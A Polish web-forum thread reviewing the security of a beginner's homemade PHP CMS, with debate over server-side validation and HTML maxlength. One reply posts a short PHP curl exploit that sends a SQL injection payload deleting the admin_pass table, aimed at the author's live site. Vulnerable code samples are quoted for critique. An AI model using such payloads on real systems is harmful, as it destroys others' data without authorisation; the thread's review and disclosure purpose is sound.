Ostatnio po ocenie mojej stronki okazało się że ma ona dużo luk i błędów. Jednak teraz napisałem coś podobnego, całkowicie samemu, wszystko w PHP. Jest to tak jakby CMS - własny prosty system zarządzania treścią nazwany po prostu od nicku materCMS. Oto link do niego:

http://www.materdefense.hostzi.com/matercms/

Możliwe że jest w nim jakaś luka ponieważ używany jest w nim komunikacja z bazą SQL, includowanie plików, id, do tego jeszcze pracuje on również na plikach tekstowych.
Panel Admina również znajduje się:

http://www.materdefense.hostzi.com/matercms/admin

Myślę że jest on dobrze zabezpieczony i nie powinien mieć luk ale no sami wiecie. Skrypt jest oparty na sesjach. Po ostatnim "incydencie" sam już nie wiem.

Nie chodzi mi o komentowanie wyglądu, bo jego zmienię jeszcze sto razy tylko głównie mechanizmu i tego całego PHP

Kod skryptu jest tu: (zip, 12 KB)
http://wrzucacz.pl/file/9911339606258

To jeszcze podaj proszę dane dostępu do panelu admina.

Przechowywanie danych dostępowych do bazy w głównym katalogu w niezabezpieczonym pliku tekstowym bez żadnego szyfrowania nie wydaje mi się dobrym pomysłem.

Chwilę poczekamy z danymi, może nie będą dla was - haxiorów potrzebne. Za chwilę oczywiście dam, tylko zabiorę funkcję zmieniania danych SQL (hasło itp).
Już przyznam się że zaliczyłem jedną wpadkę, bo po skasowaniu ciasteczek PA był dostępny bez hasła, oczywiście teraz już zabezpieczyłem to.

Edit: Przed sekundą znalazłem błąd pozwalający na SQL Injection w PA. Zabezpieczyłem i dodałem na wrzucacz nową wersję. Jak ktoś nie chce pobierać to w katalogu admin pliku passupdate.php dodałem htmlspecialchars

Edit: Co do txt - akurat mój serwer nie podgląda plików txt. A co tu można w zamian ciekawego wymyślić?

Niczego się nie nauczyłeś podczas analizy poprzednich kodów. Nadal powielasz te same złe nawyki sprzed kilku lat.

[PHP] pobierz, plaintext 
include("konfiguracja_bazy.php");
[PHP] pobierz, plaintext 

[PHP] pobierz, plaintext 
$q = "select admin_login,admin_pass from admin_pass where admin_id=1";
$zapytanie = mysql_query($q);
[PHP] pobierz, plaintext 

Polecenia SQL piszemy z dużej. Przejdź na PDO.

[PHP] pobierz, plaintext 
$o = fopen("strony.txt","r");
$t = fread($o,filesize("strony.txt"));
fclose($o);
$array = explode("|",$t);
[PHP] pobierz, plaintext 

Dla jednego pliku taka armata?

[PHP] pobierz, plaintext 
if($_GET["id"] == strip_tags($array[0]) || strip_tags($_GET["id"]) == strip_tags($array[1]) || strip_tags($_GET["id"]) == strip_tags($array[2]) || strip_tags($_GET["id"]) == strip_tags($array[3]) || $_GET["id"] == strip_tags($array[4]) || $_GET["id"] == "newsy") {
	include("strony/".$_GET["id"].".txt");
	}
[PHP] pobierz, plaintext 

Tu już pojechałeś po całości Więcej strip_tags() nie mogłeś? i odwołanie do pliku z linku? Kiepski pomysł, patrz niżej.

I tak jak wspomniał przedmówca... Odwołujesz się do czystego tekstu, i to pełni rolę pliku konfiguracyjnego do bazy?
Klik

Jeśli chodzi o strip tags to widzę że nie zrozumiałeś kodu. Dodając w PA strony od razu dodaje się również hiperłącze. Jako że w id jest sama nazwa usuwamy to hiperłącze. Ten strip_tags jest użyty wcale nie do obrony, lecz do skasowania tego hiperłącza.

Co daje wg. ciebie <?php a <?

Co do armaty, lubię pisać bardzo zrozumiale. Wiem że można to w 1 linijce ale dla mnie tak jest wygodniej.

Co do klika, przecież to jest tylko pokazywanie nieistniejącej strony jako zawartość geta, do tego z strip_tags i nie stanowi to żadnego zagrożenia (chodzi o pozdrowienia dla php.pl)

Do tego z tym plikiem txt. Jak zmienili byście to wy? Bo ja coś pomysłu nie mam.

I twoim zdaniem jest to cacy?


Chociażby poprawne kolorowanie skladni w edytorach, apropo, masz źle zakodowane pliki, UTF8 powinno być.
A w include masz coś innego w nazwie pliku niż tekst? Jak nie, to używaj apostrofów, tak samo w echo.


Pewien żeś? Pomyśl, po co mam wstawiać na Twoją stronę cokolwiek...



Stałe. To Ci wystarczy na początek.

Ja jestem na 100% pewien. Przecież tagi są wycięte itp. więc można tu wstawić jedynie tekst. Możesz pokazać coś przykładowo w tym co niby błąd stanowi?



Nie rozumię o co chodzi. Możesz powiedzieć troszkę jaśniej



No na pewno działa ładnie i wszystko jest ok. Więc chyba jest "cacy"

Patrz tu
Jak wyślę takiego linka Twojemu klientowi, bo mam nowe zlecenie w kieszeni.

[PHP] pobierz, plaintext 
include 'plik.php';
echo 'cokolwiek';
[PHP] pobierz, plaintext 

Taki kod jest wydajniejszy. Niż:

[PHP] pobierz, plaintext 
include "plik.php";
echo "cokolwiek";
[PHP] pobierz, plaintext 

No ok, racja z odstraszaniem klientów ale coś poza tym?

Czyli ogólnie oprócz małych błędów nie wpływających na bezpieczeństwo skryptu wszystko jest ok (oprócz tego txt z którym dalej chciałbym coś zrobić)?

Jak wrzucę takie linki do spambotów... , Nawet nie wysyłasz żadnych nagłówków że taka strona nie istnieje. Nie walidujesz w żaden sposób danych, nie sprawdzasz ich typów, w ogóle niczego z nimi nie robisz, skrypt jest dziurawy jak sito.

Jak sito to raczej nie jest bo nie da się dzięki temu przejąć kontroli nad stronką. Jednak na wszelki wypadek zmienię tą opcję i będę wyświetlał zwykły błąd

Skąd wiesz że nie? Myślisz że po co wymyślono walidację danych?

Walidację stosuje się w określonych przypadkach. Jeśli wszystko jest wycinane a ty wyświetlasz tekst który nigdzie się nie zapisuje to jest to bezpieczne. A wyszukiwarki? Też wyświetlają: Nie znaleziono costam

Ograniczaj długość pól input w formularzach- nie lekceważ tego, gdyż ktoś Ci może puścić z dymem stronę(atak na tablice post/get),serwer(DDOS),baze danych(przekroczenie maksymalnej dozwolonej liczby znaków w danej kolumnie,nawet jeśli jest ustawiona na max) .
Wszystkie te możliwe ataki mogą być tragiczne w skutkach, a wszystko przez to,że nie ograniczasz ilości znaków w polu input.
Maksymalne żądanie post to(o ile się nie mylę) jest standardowo ustawione na 8M-przekroczenie tej wielkości może wygenerować błąd i wyciek cennych informacji.
Na bazie danych max varchar wynosi 65535 bytes -przekroczenie tej ilości znaków(w przełożeniu na bity) np.w zapytaniu select może wygenerować error i wyciek informacji(nazwy tabeli/kolumn może nawet i nazwy bazy danych).



Walidacje należy stosować zawsze i wszędzie, gdzie użytkownik ma jakiś wpływ na stan aplikacji(najlepiej po stronie serwera- opcjonalnie po stronie serwera i klienta(walidacja typu client-side).

Takich herezji dawno nie słyszałem

Przecież długość pola input nie ma większego znaczenia dla osoby znającej chociaż podstawy HTML. Wystarczy z własnego serwera utworzyć action do pliku z własnego formularza.

A w tym przypadku user nie ma nic do stanu aplikacji przecież. Czy ja się mylę?

Mylisz się i to bardzo.Nie ograniczając pól input -możesz władować w nie dozwoloną ilość znaków(treść naprawdę długą) w rezultacie czego żądanie post może nie obsłużyć tego, a tym bardziej baza danych jeśli pójdzie do niej treść z inputa.
Pamiętaj ,że jeden znak w utf-8 wyciśnięty z klawiatury to 8bitów.

Podaj przykład kodu ograniczonego inputa proszę

No nie-atrybut maxlenght .Poćwicz trochę html.

Tak, spoko właśnie chciałem to usłyszeć. Jeszcze się upewniłem że mówisz głupoty. No to teraz powiedz mi jak ja zrobię coś takiego na localhost:

<form action=http://www.strona.pl/skrypt.php method=post>
<input type=text name=pole>
<input type=submit>
</form>

I wysyłam dane z własnego komputera więc ograniczenie maxlenght mam gdzieś bo POST nie jest nigdzie ograniczona

No to po prostu twój serwer nie obsłuży żądania jeśli żądanie będzie większe niż wartość stanadardowo ustawiona w php.ini ,czyli 8M, co za różnica gdzie post będzie szedł.Problem doskonale widać przy wysyłaniu dużych plików,gdzie żądanie POSt nie jest w stanie tego obsłużyć.
Nie ograniczenie pól input stwarza możliwość zainicjowania takiego żądania.



No to tkwij dalej w swej mądrości.Co za tupet-człowiek chce doradzić, no ale jak ktoś pozjadał wszelakie rozumy to nic nie poradzę.Rób jak chcesz. Zapewne nie słyszałeś o POST OVERLOADING, to zapewne kiedyś usłyszysz.

Zrozum w końcu że osoby wypowiadające się w Twoich tematach, mają zdecydowanie większą wiedzę od Ciebie, nawet Niktoś

Nie zrozumiałeś tego co napisałem, albo ja się źle wyraziłem. Chodzi o to że nie stosujesz walidacji danych NIGDZIE, nawet w formularzu logowania, są to czyste tablice POST, w dodatku przypisujesz je do zmiennych, to już też może stanowić lukę, jak ktoś Twój kod źle edytuje.

[PHP] pobierz, plaintext 
<form action=http://www.strona.pl/skrypt.php method=post>
<input type=text name=pole>
<input type=submit>
</form>
[PHP] pobierz, plaintext 

To jest tak głupi przykład, że aż się zastanawiam czy wykonalny...
Przeczytaj swoje poprzednie tematy i wyciągnij wnioski.
Ograniczenie html pól formularza ma w zasadzie względy estetyczne, a jak zastosujesz html5 to nawet przeglądarka się zbuntuje i formularza nie wyśle, choćbyś się zaklikał, ale to tylko dodatek, bo jak chcesz coś wysłać, to i tak przeglądarki nie użyjesz.

Przykład Twój formularz logowania, nie waliduje danych, a można do niego wysłać co się chce... Poza tym długo nie trzeba szukać, wpisz na stronie której nie ma "nazwe pliku" który ma bardzo długi ciąg znaków, a zobaczysz błąd serwera.

Zrozumiałem że Niktoś uważa że maxlenght nie pozwoli przesłac więcej niż np: 100 znaków do bazy. Oczywiście że pozwoli bo ty nie musisz przesyłać danych z ich strony, lecz np: ze swojego serwera. I wtedy ogromna porcja danych trafia prosto do bazy

Czy ja źle rozumie czy wy twierdzicie że przy np: dodawaniu danych do bazy aby ograniczyć długość wpisu stosuje się maxlenght?

Ty masz te wszystkie ograniczniki stosować w PHP! Teraz już rozumiesz?

HTML jak i JS to tylko dodatki, one nie zabezpieczną Cie przed nikim innym jak tylko przed zwykłym użytkownikiem, ale lepiej żeby były, niż żeby ich nie było.

Stosować w PHP?

Niktoś napisał:

Wyobraź sobie że w PHP też są do tego funkcje ;] Niktoś pisał że też mógłbyś to zrobić, bo to że tego tam nie ma, nie świadczy o jakości najlepiej. Zresztą wszytko już zostało napisane. Skrypt dziurawy, brak jakiejkolwiek walidacji i mało optymalny. (a jakbyś pytał dlaczego mało optymalny to odsyłam Cie do striptags i if)

Maxlenght zabezpiecza przed wpisaniem nieograniczonej ilości znaków ale nie przed spreparowaniem żądania, dlatego też walidacja po stronie serwera przymusowa(pregmatch) np.
^d{1,5} ilość znaków w klamrach od 1 do 5.

Tak, ale tylko w wypadku gdy używam formularza do wysłania danych.

Właśnie czekałem na to preg_match, oczywiście myślałem że wierzysz w maxlenght dlatego tak mnie to przeraziło.



Pamiętaj że ograniczenie formularza nic nie daje bo formularz można zawsze napisać sobie samemu na dysku i przesłać dopisując "action". Do tego TYLKO służy wyrażenie regularne

Zgadza się.


Poczytaj proszę najpierw o tym atrybucie.Action ma na celu określić, gdzie ma być wysłany formularz.

@materkamil:
Nie wiem czemu, ale cały czas mam wrażenie, że pouczasz innych. Niby wiesz o co chodzi, a i tak piszesz kod, który jest niepoprawny.

Chodzi mi o to że np: na stronie x jest formularz ograniczony jedynie maxlenght i pozornie ma on zabezpieczyć bazę danych bez żadnego zabezpieczenia w PHP bo np: przepuści jedynie 100 znaków to takie zabezpieczenie jest nic nie warte bo można napisać własny formularz z action do tej strony x bez maxlenght i dzięki temu prześlesz do bazy ponad 100 znaków przcież

Cały czas wszyscy Ci piszą, że od tego jest "walidacja danych", a Ty stwierdzasz, że "walidację stosuje się w określonych przypadkach.". Skoro wiesz, że jest jakieś niebezpieczeństwo z tym związane, to chyba jest to jeden z "określonych przypadków", zgadza się?

Zabezpieczenia są warstwowe i zależne od rodzaju ataku. EOT.

Ale to są dwa różne formularze twój formularz x i drugi zewnętrzny y na innym serwerze.Ty zabezpieczasz bezpośrednio swój formularz X poprzez użycie maxlenght aby użytkownik nie wpisał za dużo znaków.To jest dodatkowe zabezpieczenie ,które warto mieć niż niemieć.Nie uchroni ono przed spreparowanym żądaniu z serwera y przed tym chronią wyrażenia regularne i inne metody np.sprawdzające skąd nadeszło żądanie (np if($_SERVER['SERVER_ADDR'] =="127.0.0.1"){zrób coś} else{nieautoryzowany dostęp});

Fajnie się tu sprzeczacie

Jak dla mnie MAX_LENGHT to czysto estetyczne rozwiązanie, nie daje praktycznie nic ponieważ przez konsole dev w jakiejkolwiek przeglądarce możesz usunąć fragment kodu i i tak idzie taki jaki chce użytkownik, to samo tyczy sie JS wystarczy to wyłączyć.

Co do sprawdzania danych to zgadzam się w 100%, jest ono obowiązkowe w większości przypadków gdy cokolwiek jest wprowadzanie przez użytkownika.
Gdzieś kiedyś przeczytałem, że pisząc aplikację trzeba z góry zakładać że użytkownik to haker który chce Ci namieszać.

Co do samego cms. Na CMS mi to nie wygląda...

Kto w tych czasach tworzy na tabelkach w dodatku? <br> - ma chyba inne zastosowanie niż bezpośredni tb.

Czy ten "CMS" jest pisany obiektowo ? Pytanie o wzorzec sobie odpuszczę ..

Człowieku masz i przeanalizuj ten kod:

[PHP] pobierz, plaintext 
<form action = "<?php echo 'message.php?uid='.$profile_uid; ?>" method = "post"> 
	    <br /><b>Temat:</b> <input type = "text" size = "40" name = "topic_message" required = "true" maxlength = "24" /><br /> 
	    <br /><textarea cols = "90" rows = "10" maxlength = "124" name = "contents_message"> Treść wiadomości, maksymalnie 124 znaki. </textarea><br />
	    <br /><input type = "submit" value = "Wyślij wiadomość"  name = "send_message" class = "button_big" />
	</form>
	<?php
		if(isset($_POST['send_message'])) 
		{ 
		        if(strlen($_POST['contents_message']) < 5 || strlen($_POST['contents_message']) > 124) 
			{ 
				echo 'Wiadomość musi mieć od 5 do 124 znaków!'; 
				return 1;
			}
 
		        if(strlen($_POST['topic_message']) < 5 || strlen($_POST['topic_message']) > 24) 
			{ 
				echo 'Temat musi mieć  od 5 do 24 znaków!'; 
				return 1;
			}
               }
[PHP] pobierz, plaintext 

Właśnie oczywiście o taki form jak @up mi chodzi. Poprawny przy sprawdzaniu w php długości o czym Niktoś nie pisał wyżej więc potraktowałem że brak sprawdzania PHP.

Co do obiektowości na razie jest to zwykły mechanizm i wersja beta. Oczywiście w najbliższej przyszłości na pewno wprowadzę do niego obiekty i klasy

A czy Niktoś o wszystkim musi pisać?Ja uważam ,że i tak maxlenght pełni ważną rolę,gdyż utrudnia wywalenie skryptu potencjalnym hakerom, muszą już bardziej kombinować. Nie twierdze i nie twierdziłem ,że przed wszystkim to zabezpiecza -nie jest to cudowne proparity, ale mimo to warto go używać,aby wykluczyć wklejenie całej treści jakiejś treściwej strony bezpośrednio do pola input.
Nie chcesz nie używaj ,ja używam i wcale to niczemu nie przeszkadza a pomaga.

Potencjalny 'haker' ominie to w kilka sekund, nie można(nie powinno się) sprawdzać formularza po stronie klienta zrozumcie to.

Haker tak, użytkownik już nie. POza tym w niektórych językach programistycznych są tzw.kontrolki serwerowe patrz asp.net i runat=server.Lepiej wiedzieć o takim atrybucie i pamiętać o stosowaniu go niż mieć to głęboko gdzieś bo i tak go haker złamie.

Takie założenie przysłowiowo "łamie nadgarstki" bo po co wogóle zabezpieczać się gdyż dobry haker i tak to złamie,wogóle nie hashujcie haseł, nie brońcie się przed sql injection i atakami xss ,bo jeden na 10000000000000 te zabezpieczenia ominie.Piszcie gołe skrypty bo się nie opłaca- to taka moja aluzja.

Sprawdzanie danych formularza po stronie klienta warto robić aby znacząco uprzyjemnić klientowi życie i polepszyć jakość jego doświadczenia w kontakcie ze stroną

Jeśli dbasz o jakość serwisu i zadowolenie jego użytkowników, to walidacja (nie musi być idealna) danych w przeglądarce jeszcze przed ich wysłaniem na serwer jest bardzo wskazana.

Nic tak nie w.....a (wnerwia) jak konieczność oczekiwania na przeładowanie strony, po czym mozolnego wpisywania tych samych danych tylko dlatego, że jedno pole było źle wypełnione (szczególnie dotyczy to dużych, skomplikowanych formularzy).

Oczywiście dla bezpieczeństwa sprawdzanie wszystkiego robi się jeszcze raz (bardzo dokładnie) po stronie serwera.

Witam.

Przejrzałem twój skrypt. Powiesz mi co mógłby zrobić poniższy kawałek kodu?

[PHP] pobierz, plaintext 
#!/usr/bin/php -f
 <?php
 #
 # passupdate.php curl exploit
 #
//
// HTTP POST, 
//
 
$target = $argv[1];
 
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_URL, "http://$target/passupdate.php");
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "haslo='%3B%20DELETE%20FROM%20admin_pass");
curl_setopt($ch, CURLOPT_TIMEOUT, 3);
curl_setopt($ch, CURLOPT_LOW_SPEED_LIMIT, 3);
curl_setopt($ch, CURLOPT_LOW_SPEED_TIME, 3);
curl_setopt($ch, CURLOPT_COOKIEJAR, "/tmp/cookie_$target");
$buf = curl_exec ($ch);
curl_close($ch);
unset($ch);
[PHP] pobierz, plaintext 

[BASH] pobierz, plaintext 
mater_exploit.php www.materdefense.hostzi.com/matercms/admin
[BASH] pobierz, plaintext 

Przeanalizuj także pliki:

/matercms/strony/konfiguracja_bazy.php
/matercms/admin/str.php

Pozdrawiam.

Jesteś głupi, lub nie potrafisz zrozumieć tego, że nie masz racji. Każdy człowiek na świecie bez większej wiedzy o programowaniu ominie coś takiego, to nie jest żadne zabezpieczenie (nie robi się zabezpieczeń po stronie klienta) zresztą zróbmy tak, Ty spróbuj zabezpieczyć skrypt od strony klienta tym parametrem, a ja zrobię to od strony serwera tym warunkiem, zobaczmy kto wyjdzie na tym lepiej.

[PHP] pobierz, plaintext 
if(strlen($_POST['name'] > 24)) { 
    echo 'error';
}
[PHP] pobierz, plaintext 

I tu mamy meritum sprawy , żaden "hacker", script kiddie itp. nie łamie strony jej własnym formularzem większość takich domorosłych hackerów, kończy na zapuszczeniu sqlmapa na wybranej stronie i modli się żeby coś znalazł . Max length ma uprzyjemnić życie użytkownikowi. Zwykły Kowalski wchodząc na stronę widzi formularz i wpisuje dzień urodzenia 11 max length=2 pozwoli uniknąć sytuacji w której Kowalski o 1 raz za dużo naciśnie 1 i wyjdzie Mu dzień 111.

Właśnie we wcześniejszych postach próbowałem to powiedzieć

Robi się, jako dodatkowe zabezpieczenie, oprócz serwer-sidowego. Atrybuty tj.Accept,readonly czy maxlenght-nie służą tylko do ozdóbki.Po to są, aby z nich korzystać-poza tym wiele roboty nie ma dodając jeden, czy dwa atrybuty więcej do inputa.Niczemu to nie przeszkadza ,a wręcz pomaga.

Nie to ty jesteś głupi, gdyż nie potrafisz czytać ze zrozumieniem.Pisałem ,że atrybut ten ma służyć jako dodatkowe zabezpieczenie.tzn zabezpiecza przed wpisaniem nadmiernej treści do pola input a nie przed czyjąś manipulacją ,stąd też obowiązkowo wymagana dodatkowa walidacja po stronie serwera.Poza tym w przeciwieństwie do js ,kodu html nie da rady wyłączyć w browserze lecz można manipulować nim a i to w niektórych językach programistycznych może okazać się trudne lub nie możliwe do wykonania.
Nie czytałeś pewnie o kontrolkach serwerowych w asp.net nie mówiąc o używaniu nich, dlatego też warto pamiętać o dodatkowych html'ych atrybutach bo w takich kontrolkach są bardzo pomocne.
A tutaj dla Pana ,Panie Mądraliński lekka lektórka jakbyś nie wiedział co to kontrolka serwerowa.


Zgadzam się z tym i dodam że w pewnym stopniu podnosi to również poziom bezpieczeństwa.

KamilOniszczuk - głosisz herezje.
Niktoś - co Ty masz z tym asp.net? żeby takie bluźnierstwa na forum php pisać, a tfu!
materkamil - poprawiłeś kod? Pokaż nową wersje.

Dyskusja na temat zabezpieczeń po stronie klienta robi się już nudna. Ile razy ktoś może powtarzać że robi się to tylko i wyłącznie "dla oka" czyli dla wygody użytkownika Nie daje to kompletnie nic jeśli ktoś potrafi kliknąć F12 i zmienić jedną linijkę w kodzie albo ją usunąć <= nie trzeba być żadnym haxiorem. Z resztą to chyba dział oceny. Autor "CMS'a" też kłóci sie ze wszystkimi jakby był -programistą z prawdziwego zdarzenia. Napisać takie coś to żadna sztuka tym bardziej, że nic nie jest jakoś logicznie poukładane. Polecam zakończyć dyskusję na temat "zabezpieczeń", a autorowi przyjąć krytykę z pokorą i uważać się póki co najwyżej za newbie-hobbystę.

-zamiast " używaj '
-w index.php jakoś dziwnie to wygląda z tym strip_tags

Nie ma co tu za dużo oceniac. Gdyby to złączyć w całość wyszło by zaledwie 200 linijek krótkiego kodu.

~~Co do strony o zabezpieczeniach komputera, nie ma tam nic o czym nie wiedziałaby moja 8-letnia siostra.

Mam kolejny problem. Dziś włam na CMS. Jedynie co się dowiedziałem chociaż nie rozumię tego jakie wskazówki dał mi włamywacz:
Coś związane z get id - i uprawnieniami. Ogólnie napisane było:
chmody zle poustawial to sobie plik stworzylem. Do dopisania zawartości treści użyłem eval() i system()

Czy wy widzicie w tym skrypcie jakiś błąd. Dowiedziałem się że ten if($_GET["id"] == sto strip_tag i array) to nie wystarczające zabezpieczenie.

Kod CMS (troszkę zmieniony):

http://wrzucacz.pl/file/4451340132906

A może błąd w uprawnianiach? Jak mógł ktoś stworzyć plik na moim serwerze?

Wiem że powinno zamiast " być ' ale przecież nie będę wszystkiego przepisywał

Obecna stronka (a raczej co z niej zostało):

http://www.materdefense.hostzi.com

@up rocktech.pl - > curl? Niby tak ale jest przecież sesja która nie wpuści tego skryptu. Nie wiem dokładnie bo dopiero zamierzam się nauczyć biblioteki curl

To zacznij.

Napisaliśmy Ci że skrypt jest dziurawy ze wskazaniem potencjalnych luk. Jak Ci się nie chce, to już nie Nasza wina.